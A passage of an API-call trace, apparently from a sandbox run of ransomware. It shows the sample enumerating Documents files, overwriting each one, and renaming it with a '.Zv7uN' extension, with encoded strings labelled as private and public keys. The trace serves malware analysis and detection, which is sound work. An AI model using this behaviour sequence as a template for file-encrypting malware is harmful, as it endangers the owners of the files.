out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18ee3c*=0x113a8, lpOverlapped=0x0) returned 1 [0088.834] CloseHandle (hObject=0x120) returned 1 [0088.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\osnW47dF.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\osnw47df.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.839] WriteFile (in: hFile=0x120, lpBuffer=0x1f47ac0*, nNumberOfBytesToWrite=0x113a8, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f47ac0*, lpNumberOfBytesWritten=0x18ee48*=0x113a8, lpOverlapped=0x0) returned 1 [0088.843] CloseHandle (hObject=0x120) returned 1 [0088.843] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\osnW47dF.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\osnw47df.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\osnW47dF.pptx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\osnw47df.pptx.zv7un")) returned 1 [0088.844] GetCurrentThreadId () returned 0xa30 [0088.844] GetCurrentThreadId () returned 0xa30 [0088.845] GetCurrentThreadId () returned 0xa30 [0088.845] GetCurrentThreadId () returned 0xa30 [0088.845] GetCurrentThreadId () returned 0xa30 [0088.845] GetCurrentThreadId () returned 0xa30 [0088.845] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73b5530, ftCreationTime.dwHighDateTime=0x1d5e5c1, ftLastAccessTime.dwLowDateTime=0x9b3f670, ftLastAccessTime.dwHighDateTime=0x1d5e524, ftLastWriteTime.dwLowDateTime=0x9b3f670, ftLastWriteTime.dwHighDateTime=0x1d5e524, nFileSizeHigh=0x0, nFileSizeLow=0x88c1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="vvHLRrn4vyqF-1i1p.pdf", cAlternateFileName="VVHLRR~1.PDF")) returned 1 [0088.845] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.845] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.845] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\vvHLRrn4vyqF-1i1p.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\vvhlrrn4vyqf-1i1p.pdf"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73b5530, ftCreationTime.dwHighDateTime=0x1d5e5c1, ftLastAccessTime.dwLowDateTime=0x9b3f670, ftLastAccessTime.dwHighDateTime=0x1d5e524, ftLastWriteTime.dwLowDateTime=0x9b3f670, ftLastWriteTime.dwHighDateTime=0x1d5e524, nFileSizeHigh=0x0, nFileSizeLow=0x88c1)) returned 1 [0088.845] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\vvHLRrn4vyqF-1i1p.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\vvhlrrn4vyqf-1i1p.pdf")) returned 0x20 [0088.845] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\vvHLRrn4vyqF-1i1p.pdf", dwFileAttributes=0x80) returned 1 [0088.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.850] GetCurrentThreadId () returned 0xa30 [0088.850] GetCurrentThreadId () returned 0xa30 [0088.850] GetCurrentThreadId () returned 0xa30 [0088.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.851] GetCurrentThreadId () returned 0xa30 [0088.851] GetCurrentThreadId () returned 0xa30 [0088.851] GetCurrentThreadId () returned 0xa30 [0088.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\vvHLRrn4vyqF-1i1p.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\vvhlrrn4vyqf-1i1p.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.851] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0088.852] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.852] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x88c1 [0088.852] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.852] ReadFile (in: hFile=0x120, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x88c1, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18ee3c*=0x88c1, lpOverlapped=0x0) returned 1 [0088.854] CloseHandle (hObject=0x120) returned 1 [0088.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\vvHLRrn4vyqF-1i1p.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\vvhlrrn4vyqf-1i1p.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.858] WriteFile (in: hFile=0x120, lpBuffer=0x1f3fac0*, nNumberOfBytesToWrite=0x88c1, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f3fac0*, lpNumberOfBytesWritten=0x18ee48*=0x88c1, lpOverlapped=0x0) returned 1 [0088.861] CloseHandle (hObject=0x120) returned 1 [0088.861] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\vvHLRrn4vyqF-1i1p.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\vvhlrrn4vyqf-1i1p.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\vvHLRrn4vyqF-1i1p.pdf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\vvhlrrn4vyqf-1i1p.pdf.zv7un")) returned 1 [0088.863] GetCurrentThreadId () returned 0xa30 [0088.863] GetCurrentThreadId () returned 0xa30 [0088.863] GetCurrentThreadId () returned 0xa30 [0088.863] GetCurrentThreadId () returned 0xa30 [0088.863] GetCurrentThreadId () returned 0xa30 [0088.863] GetCurrentThreadId () returned 0xa30 [0088.863] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e8781b0, ftCreationTime.dwHighDateTime=0x1d5e158, ftLastAccessTime.dwLowDateTime=0xb5f796a0, ftLastAccessTime.dwHighDateTime=0x1d5e22f, ftLastWriteTime.dwLowDateTime=0xb5f796a0, ftLastWriteTime.dwHighDateTime=0x1d5e22f, nFileSizeHigh=0x0, nFileSizeLow=0x1186a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_ kJbX69.ppt", cAlternateFileName="_KJBX6~1.PPT")) returned 1 [0088.864] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.864] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.864] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\_ kJbX69.ppt" (normalized: "c:\\users\\5p5nrgjn0js 